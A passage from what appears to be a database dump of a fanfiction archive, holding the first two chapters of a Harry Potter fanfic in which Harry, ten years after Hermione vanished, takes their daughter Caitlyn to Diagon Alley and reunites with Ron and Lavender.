ready to give up the fic writing yet.&nbsp; R/R and God bless you.&nbsp; Merry Christmas to all and to all a Happy\nNew Year!</p>\n\n\n\n<br clear="all">\n\n<hr align="left" size="1" width="33%">\n\n\n\n\n\n<p class="MsoFootnoteText">[1] The Gospel\nof Luke 2: 10, 11</p>\n\n\n\n\n\n<p class="MsoFootnoteText">[2] <i>O Come O\nCome Emmanuel</i> words by John M Neale, music by Thomas Helmore</p>\n\n\n\n\n\n<p class="MsoFootnoteText">[3] <i>Sleigh\nRide</i> by Leroy Anderson</p>\n\n\n\n\n\n\n\n\n'),
	(77, 1, '<p class=MsoPlainText>A/N: Hello\r\nall!! Long time no see, I\'ve been on vacation and trying out different fic\r\nideas. This is sort of the sequel to Just Kiss Me, but you don\'t necessarily\r\nneed to read it to understand this. There are some references that will be made\r\nin this fic, however, that may be somewhat confusing unless you\'ve read it. So\r\ngo do it and review of course ;) </p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>Disclaimer: I\r\ndon\'t own Harry Potter and Co, anything you recognize as Harry Potter property\r\nI didn\'t make up. Although, I do own Caitlyn and Blue! I also do not own any\r\nsongs that I use in this fic, or any of the movie quotes the characters use.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>Harry smiled\r\nas Hermione entered the room. His eyes roamed up and down her body hungrily;\r\nshe wore a skimpy black negligee made of the most silken threads. Harry\r\nbeckoned her to come closer so he could put his hands on her. She seemed to\r\nfloat on air as she glided to the bedside.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;Harry...touch\r\nme Harry...I love you...&quot; she said. Her voice seemed so far away, almost\r\nlike an echo. Harry obliged, and reached out to pull her onto him.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;What\r\nthe....&quot; Harry said as his hands passed through Hermione.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;Harry I\r\nneed you....&quot; She said, her voice sounding farther and farther away. She\r\nstarted to float back, and Harry leaned forward trying to keep her from leaving....</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;Oomph!&quot;\r\nHarry said as he fell sideways from his bed. His head snapped up as he scanned\r\nthe room quickly. Righting himself, he fell back against the pillow.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;Only\r\nanother dream.&quot; He sighed. He looked at the clock and sighed again, it was\r\nstill too early to get up, but he knew he\'d never get back to sleep. Throwing\r\nhis sheets aside, he pulled on a pair of loose pants and quietly walked down\r\nthe hallway to the kitchen. Pouring himself a glass of cold water, he walked\r\nover to the window and pressed his burning forehead against the cool glass. One\r\nsingle tear escaped his eye and he brushed it away impatiently.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;It\'s no\r\nuse.&quot; Harry told himself. &quot;She\'s gone, she\'s never coming back.&quot;\r\n</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>It had been 10\r\nyears, 10 long years since he had held Hermione in his arms. Most people would\r\nthink that a decade would numb the pain of losing someone you loved, but few\r\npeople had experienced a love like Harry and Hermione had. Their life together\r\nhad been abruptly ended one night, when Hermione had been on her way home from\r\nwork and had just, disappeared. Harry had spent the next year searching for\r\nher, but no avail. Harry finally had to stop his search and admit that she was\r\ngone forever, and he also had someone else to care for beside himself as well. </p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;Dad?&quot;\r\na small voice brought Harry out of his reverie. &quot;What are you doing\r\nup?&quot;</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>Harry turned\r\naround to face the reason he was still living a sane life. His and Hermione\'s\r\ndaughter, Caitlyn, stood in the doorway. He smiled fondly at her, she had\r\ninherited her mother\'s brown bushy hair, but his clear green eyes stared back\r\nat him.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;I was\r\nthirsty.&quot; He replied, setting the glass in the sink and walking over to\r\nhis daughter. &quot;Come now, back to bed with you. We have a big day ahead of\r\nus tomorrow.&quot;</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>Harry was\r\nreferring to the fact that he was introducing his daughter to the wizarding\r\nworld. After Hermione had disappeared, it had been too painful for him to stay\r\nwhere everything reminded him of her. In fact, the only ties that Harry had to\r\nthat part of his life was a VERY rare occasional owl from Ron.  That was why he was so surprised when just a\r\nfew days before a large brown owl had swooped in while he and Caitlyn were\r\nhaving breakfast. He had instantly recognized it as a Hogwarts owl. Harry had\r\nhad a hard time deciding whether or not to send her there, and finally made up\r\nhis mind to let his daughter decide her future. He had sat her down, and being\r\nas matter of fact as he could about it, told her about him, told her about her\r\nmother. He had watched as she digested all this. Of course, she had known bits\r\nand pieces of the wizarding life that she had gathered throughout her years so\r\nfar, and had accepted her letter to Hogwarts.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>Harry tucked\r\nhis daughter back into her bed and then kissed her on the forehead.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;Back to\r\nsleep with you now.&quot; He said softly. She snuggled down into the blankets\r\nand closed her eyes. Harry sat there for a few moments just gazing at her, he\r\nstill marveled at how much she resembled Hermione. </p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;Dad?&quot;\r\nshe murmured sleepily. &quot;Will you stay here with me?&quot;</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;Of\r\ncourse I will.&quot; Harry reassured his daughter. He stroked her long hair\r\naway from her forehead.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;Will you\r\ntell me a story?&quot; One green eye peeked out at him. Harry chuckled.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;What do\r\nyou want to hear?&quot;</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;I want\r\nto hear a story about you and Mum.&quot; Caitlyn said in a tiny voice. </p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>Harry\'s breath\r\ncaught in his throat for a moment. Caitlyn had only been a year old when\r\nHermione disappeared, but she didn\'t too often ask Harry to talk about her. She\r\nseemed to know how painful it was for him, and she knew that one day Harry\r\nwould tell her all about her Mum.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>He swallowed\r\nthe lump that had risen in his throat. &quot;What do you want to hear?&quot;</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;How did\r\nyou and Mum get together?&quot;</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>Harry smiled\r\nto himself. That was one of his fondest memories ever. &quot;Well,&quot; he\r\nsaid in a surprisingly calm voice, &quot;We were in our 5th year at\r\nHogwarts...I had liked her for quite some time, and we decided to sneak down to\r\nthe kitchens for a late evening snack....&quot; Harry\'s voice warmed his words\r\nas he told Caitlyn about how her parents had found their feelings for each\r\nother. By the time he finished the story, Caitlyn was back asleep, clutching\r\nher favorite stuffed dragon. Harry smiled as he saw this, even at age 11 she\r\nwould not sleep without it. He softly smoothed back her hair and left the room,\r\nclosing the door lightly behind him. He walked down the hallway to his study,\r\nwhere he snapped the light on and sat down at his desk. Grabbing a piece of\r\npaper and a pen he composed a quick note to Ron.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>\'Ron-</p>\r\n\r\n<p class=MsoPlainText>            I know this may seem a bit sudden,\r\nbut due to Caitlyn\'s acceptance at Hogwarts, I\'ve decided to come back into the\r\nwizarding world some. I\'m taking her to Diagon Alley later today to shop for\r\nwhat she needs. Any chance you\'d be able to meet us there? I want to introduce\r\nher to her \'Uncle\' Ron and I\'d really love to see you and Lavender again as\r\nwell. Let me know as soon as possible.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>-Harry\'</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>He folded the\r\nnote over and brought it to one of the only remnants of the world he still had\r\n- Hedwig.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;Hey\r\ngirl.&quot; Harry said, stroking her still soft feathers with his index finger.\r\nShe nipped at him a little, and immediately held out her leg. Harry tied the\r\nletter on and Hedwig soared out the window, with Harry looking around to make\r\nsure none of his Muggle neighbors had witnessed her flight. He looked at his\r\nwatch and noted it was now 4 am.  In just\r\na few hours, he\'d be taking his baby girl to start her own life, to get her\r\nready to go to a place where he wouldn\'t be able to see her for months at a\r\ntime. He felt his eyes grow a little misty at the thought of this happening.\r\nSometimes he felt like Caitlyn was the only part of Hermione he had left. Ron\r\nwould argue with him there, Harry knew. </p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;Memories,\r\nmate.&quot; He would say. &quot;You always have the memories of the two of you\r\ntogether, and that can last you a lifetime.&quot;</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>Harry recalled\r\nRon being a pain in the ass more often than not, but he had his moments where\r\nhe was almost philosophical.  Harry\r\nsmiled pensively at his memories now, and felt his eyelids grow heavy once\r\nmore. Maybe he\'d be able to get a little more sleep yet.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>Harry was\r\nwakened a few hours later by the sound of Hedwig tapping her beak on the glass\r\nwindow. Rubbing his eyes wearily, he tripped his way over to the window and\r\nopened it. Hedwig eagerly flew in to her perch and proudly held out her leg,\r\nwith a length of parchment attached to it.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>-Harry</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>I can\'t\r\nbelieve you\'re coming back. Everyone will be so excited! Mum and Dad are coming\r\nin today, and Ginny and Seamus will be stopping by as well. They got married\r\njust a month ago! A lot of things have changed here, you will see. You are\r\nwelcome to stay with Caitlyn here at our flat, of course, it will give her a\r\ngood chance to get to know Blue.\'</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&quot;Blue?&quot;\r\nHarry said quizzically.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>\'Before I forget\r\nto tell you- Blue is Ron Jr. Lavender wanted to give him a nickname so that we\r\nwouldn\'t get confused.... so now he\'s Blue. We will meet you at the Leaky\r\nCauldron around noon. Can\'t wait to see you again Harry, it\'s been way too\r\nlong.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>-Ron.\'</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>Harry shook\r\nhis head in disbelief. &quot;Blue?&quot; he asked himself again. Shrugging his\r\nshoulders, he went to wake his daughter.</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n\r\n<p class=MsoPlainText>Stay tuned for\r\nthe next chapter- we\'ll meet a woman who is strangely familiar to Harry and\r\ncompany, and you get to meet Blue Weasley! ;)</p>\r\n\r\n<p class=MsoPlainText>&nbsp;</p>\r\n'),
	(77, 2, '\n\n\n\n\n\n\n\n<p class="MsoPlainText">Chapter 2</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">(A/N: Hello!!\nHere\'s chapter 2, not much info on Hermione yet, but I daresay you\'ll like the\nend ;) Thanks to everyone who reviewed for the first chapter, I really and\ntruly appreciate it&#8230;. the more reviews, the faster I\'m spurred to write and get\nthe next chapter out faster!)</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Caty\nCat&#8230;&quot; Harry said, shaking her gently. &quot;Come on love, we have to get\nready to go soon.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nooooo&#8230;&quot;\nCaitlyn mumbled into her pillow. &quot;Dad go way. Too early.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;All\nright&#8230;&quot; Harry said as he rose from the edge of her bed. &quot;I guess this\nmeans no shopping today&#8230;&quot; he let his voice trail off as Caitlyn shot out\nof bed.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\'m\nup!!&quot; She shrieked, running from the room and into the bathroom. Harry\nlaughed; he had no idea where his daughter had gotten her love of shopping\nfrom. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Half\nhour.&quot; He said through the door. &quot;I can\'t Apparate with you.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn\'s\nbrown head poked through the narrow opening. &quot;Apparate?&quot; she asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry smiled.\n&quot;Yup. Where you disappear in one place and reappear in another.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn looked\nstartled for a moment. &quot;What?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry\'s smile\ngrew wider. &quot;Magic talk. You\'ll get used to it in no time, I\npromise.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I hope\nso.&quot; Caitlyn ducked back into the bathroom. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry walked\ndown the hallway and pulled his old robes from a closet. Pulling them on, he\nwas happy to see they still fit. He then walked into their kitchen. Harry felt\nstrangely excited about that day. It had been far too long, since he had seen\nRon or anyone at all from his time at Hogwarts. Reaching up into the back of a high\ncabinet, he retrieved a small wooden box. Blowing the dust off the top, he\npulled back the lid on two small rusty hinges. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">His wand lay\ninside, untouched for almost a decade. He ran his fingers along the smooth wood\nfor a moment, and then picked it up gently and just held it in his hand for a\nmoment. Gripping the base, he lifted it up and pointed at the glass he had left\nsitting in the sink the previous evening.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Wingardium\nLeviosa!&quot; Harry said. The glass lifted itself out of the sink and he moved\nit along with his wand down the counter. Harry amused himself for the next 10\nminutes by levitating different things in the kitchen and setting them down in\nother places. He was enjoying moving around a Jell-O mold from the refrigerator\nwhen Caitlyn appeared in the doorway.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad!&quot;\nshe said in shock. &quot;Why are you wearing a dress?&quot; Harry lost his\nconcentration and the mold fell from about 8 feet in the air onto the floor\nwith a loud plop. Harry laughed loudly and muttered a cleaning charm. The\nJell-O disappeared from the floor, leaving it as clean as it was before.\nCaitlyn uttered a few unintelligible words as she sank into a chair.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Your old\ndad\'s still got some magic in him yet.&quot; Harry told her. &quot;This is the\ntype of thing you\'ll be learning. And this isn\'t a dress, they\'re robes. All\nwizards wear them dear.&quot; He lowered his wand and put it back in the case.\n&quot;Are you ready to go?&quot; Harry asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I think\nso.&quot; Caitlyn replied. She pulled the Hogwarts parchment out of her jeans\npocket. &quot;This has a list of all the books I need. Plus, I have to get my\nrobes and a wand&#8230;&quot; Harry realized that this was going to cost him a small\nfortune. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Come on\nDad!&quot; Caitlyn was saying. She was eager now, to find out about the\nwizarding world.&nbsp; Her studies had always\ninterested her, and now to find out that she was going to be able to do magic,\nwell, she had a feeling her \'bookwormishness\' would be at an all time high. She\ntugged on Harry\'s hand and he followed her into the hallway.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;How are\nwe going to get there?&quot; she asked curiously.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;On the\nunderground.&quot; Harry replied. &quot;Once we get to the Leaky Cauldron,\nthat\'s where the entrance to Diagon Alley is.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">A half hour\nlater, Harry was leading his daughter down a crowded street to what looked like\nan empty storefront.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad we\ncan\'t go in there!&quot; Caitlyn said, trying to peer through the dusty window.\n</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry only\nsmiled as he took her hand and pushed open the door. A wave of familiarity\ninundated him as he quickly took in the candlelit room, with it\'s high windows\nand smoky interior. He felt 11 years old again himself, coming in here for the\nfirst time with Hagrid. He made his way past the counter area where he was\nsurprised to see Tom still working. The man looked up as Harry and Caitlyn\napproached and his eyes widened.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oh my\ngoodness&#8230;Harry Potter!&quot; Once again, everyone in the room turned to catch a\nglimpse of him, several coming forward to shake his hand or hug him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry took a\ndeep breath; he hadn\'t really been expecting an onslaught of people like this.\nHe had been hoping to slink through unnoticed. At this rate, they\'d never get\ninto Diagon Alley anytime soon. Caitlyn looked at her father with wide eyes, he\nhad never told her much about his fame in the wizarding world. She watched him\nshake hands with people, smiling and acting like he hadn\'t been absent from\nhere for almost 10 years. After about 20 minutes, Harry was finally able to\ngracefully excuse himself from the adoring eyes of many witches (and a few\nwarlocks to his horror) and pull Caitlyn into the small room that held the\nentrance to Diagon Alley. Caitlyn could only stare at her father in amazement\nas he pulled out his wand and tapped some bricks in a certain order, and they\nboth watched as they turned themselves aside to reveal the entrance.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well\nCaty Cat&#8230;&quot; Harry said as they stepped past the bricks. &quot;Welcome to\nDiagon Alley&#8230;finally.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn\'s eyes\nwere as wide as saucers as she tried to take everything in with a single\nglance. The streets were already bustling with people doing their shopping,\nbuying everything from books, to brooms, to multicolored robes hung in the\nwindow of Madam Malkin\'s. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Oooh Dad\ncan I have some of those?&quot; Caitlyn asked, pointing to the robes. Harry\nlaughed. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Maybe.&quot;\nHe said. &quot;We\'ll have to see how expensive everything is first.&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn pouted\nbriefly but perked up when they walked past the broom shop.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Do you\nthink I\'ll be able to play Quidditch like you did?&quot; she asked. &quot;If I\nmake the team, I want to be a Seeker like you.&quot; She prattled on till they\nreached Ollivander\'s wand shop. &quot;Oooh!&quot; she said, her eyes growing\nwide again. &quot;Can we get my wand now please pretty please?&quot; Harry\nchuckled and held open the door for her.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Why do\nyou think we\'re here?&quot; Harry said. They entered the shop, which was\ncompletely deserted. Caitlyn looked around her at all the musty boxes that\ncontained wands, and wondered which of them would be hers. A scuffling noise in\nthe back of the store made them look up, and Ollivander appeared holding more\nboxes.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Mr.\nPotter!&quot; he exclaimed. &quot;I knew it is time to be seeing you\nagain.&quot; His eyes moved down to Caitlyn. Without a word to her, he turned\nand pulled about 7 boxes down from a shelf.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Here\ndear.&quot; He said, coming towards her with one of the wands. She tentatively\ntook it in her hand, and then looking at Harry, who made a motion with his\nhand, swished it through the air. A strong wind swept through the shop, blowing\nover some books and putting out all the candles.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Nope.&quot;\nOllivander muttered, hunting through some more boxes. He handed Caitlyn wand\nafter wand, until finally he pulled a slender dark one out of a box.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;13\ninches, dragon heartstring.&quot; Ollivander said, placing it in her hand.\nImmediately, a golden glow appeared from the wand. Obviously, it had made it\'s\nchoice. Harry gave Ollivander 10 galleons for the wand, and they left the shop,\nCaitlyn clutching her wand like it was going to disappear. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Can we\ngo to the book shop next?&quot; Caitlyn asked.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;We\nshould save that for later once we\'ve met up with everyone, hopefully it won\'t\nbe so crowded then.&quot; Harry nodded towards Flourish and Blotts, which was\npacked full of people buying their schoolbooks. Harry and Caitlyn spent the\nnext few hours buying her potions ingredients (Harry sincerely hoped Snape no\nlonger taught), her cauldron, herbs, her robes, where Harry gave in and bought\nher the multicolored ones she wanted (for weekend wear only, he cautioned her)\nalong with the standard black ones required for all students. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry looked\nat his watch, it was about 5 minutes to noon and his money was already almost\ngone.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Caty\nCat.&quot; He called. &quot;Come on, we\'ve got to meet up with everyone!&quot; </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn said\ngoodbye to the group of girls she had been talking to and joined her father as\nthey left the robe shop and made their way back to the Leaky Cauldron.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;You look\na little nervous Dad.&quot; Caitlyn commented as Harry pushed open the door.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I am, a\nbit.&quot; Harry replied. &quot;Ron was my best friend in the world, he and\nyour mum. It\'s been hard not seeing him at all for 9 years. He\'s got a son your\nage, I imagine you two will get along rather well.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn nodded\nand looked around the Leaky Cauldron. The crowd that had been in there when she\nand her father had first arrived had pretty much dissipated. There were a few\nwarlocks sitting at the counter and a witch sitting in the corner with a\ncrystal ball on the table in front of her. At that moment, the fireplace burst\ninto flame. Caitlyn started a little, and Harry put his hand over hers. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s\nokay Caty Cat.&quot; He said. &quot;I bet you anything that\'s Ron and Lavender\nnow. They\'re coming in by Floo Powder.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;By\nwhat?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Floo\nPowder.&quot; Harry quickly explained about it and a moment later, Ron came\ntumbling out of the fireplace, Lavender right behind him, clutching the hand of\na carbon copy of Ron at age 11. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I can\'t\nwait to tell Harry about the tickets we\'ve gotten for the Quidditch game!&quot;\nRon was saying loudly as Lavender attempted to brush the soot from their robes.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Dad! I\nwant to go now can\'t we just meet them there?&quot; the young boy, who Harry\nassumed must be their son, shouted.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Blue!&quot;\nLavender was chastising him. &quot;You and your father really need to keep it\ndown.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry smiled\nto see that nothing in the Weasley family had changed. He stepped forward and\nRon saw him.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;HARRY!&quot;\nhe shouted, and ran forward to hug his old friend. Harry grinned and hugged him\nback.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Ron,\nit\'s great to see you again!&quot; he said, overjoyed. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Harry.&quot;\nLavender said, smiling at him. He stepped back from Ron and kissed Lavender on\nthe cheek. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;It\'s so\ngreat to see you guys, it really is. I didn\'t realize till just now how much I\nmissed everyone.&quot; Harry said. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Caitlyn hung\nback behind her father, feeling a little shy. She was always quieter around\npeople she had never met, and this was no exception. Her father sensed her\nbehind him, and pulled her out in front of him. </p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;This is\nCaitlyn, everyone. Caty Cat, this is Ron, his wife Lavender, and their\nson&#8230;&quot; Harry faltered for a moment.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Blue.&quot;\nBlue stuck his hand out to Caitlyn. She blinked at him and shook his hand.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Why is\nyour name Blue?&quot; she asked curiously. He grinned.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well my\nreal name is Ron, but my Mum didn\'t want us to get confused, so my Dad gave me\nthis nickname when I was a baby.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;That\'s\nso cool.&quot; Caitlyn said, and the two children sat down at a table and began\nto talk.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Seeing that\nthe kids were distracted with themselves, Ron, Lavender and Harry took seats at\nanother table.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;How have\nyou been, really?&quot; Ron asked Harry.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">He pursed his\nlips for a moment. &quot;There have been times, when things have been really\nrough. It\'s still hard for me to talk about her. Like last night, I couldn\'t\nget Hermione out of my head.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Lavender\nlooked at him sympathetically. &quot;Well, we\'ve always kept our eyes and ears\nopen for anything. I just wish we could still do something about it.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;I\nappreciate it, more than you know.&quot; Harry told her. &quot;It\'s been\ndifficult raising Caitlyn on my own, she\'s full of questions about Hermione\nthat I still can\'t bring myself to answer. Maybe you guys can help me some with\nthat. If she asks you anything about Hermione, feel free to answer.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Sure.&quot;\nBoth Lavender and Ron agreed. There was silence for a moment, and then Ron\nstood up.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Well,\nwe\'ve got to get Blue all his supplies for school. I take it you two have been\nshopping already?&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">Harry nodded.\n&quot;We\'ve gotten most of her stuff. We haven\'t gotten her books yet, though,\nFlourish and Blotts was too crowded earlier, and we wanted to wait for you\nguys.&quot; He smiled. &quot;Caitlyn loves to read.&quot;</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">&quot;Wonder\nwhere she got that from.&quot; Ron grinned. Hermione\'s bookish personality had\ngone straight to her daughter it seemed. &quot;Come on, you two.&quot; He\ncalled to Caitlyn and Blue, who got up and joined them.</p>\n\n<p class="MsoPlainText">&nbsp;</p>\n\n<p class="MsoPlainText">The five left\nthe Leaky Cauldron and went back into Diagon Alley. Unfortunately, Flourish and\nBlotts was no less crowded than it had been before. They pushed through the\ncrowd to where a large display of books sat. A young woman with very long, very\ndark brown hair was helping several people with lists in their hand. Harry\nmotioned to Caitlyn to give him her list, and he would grab the books for her.\nHe turned to Ron to see if he was 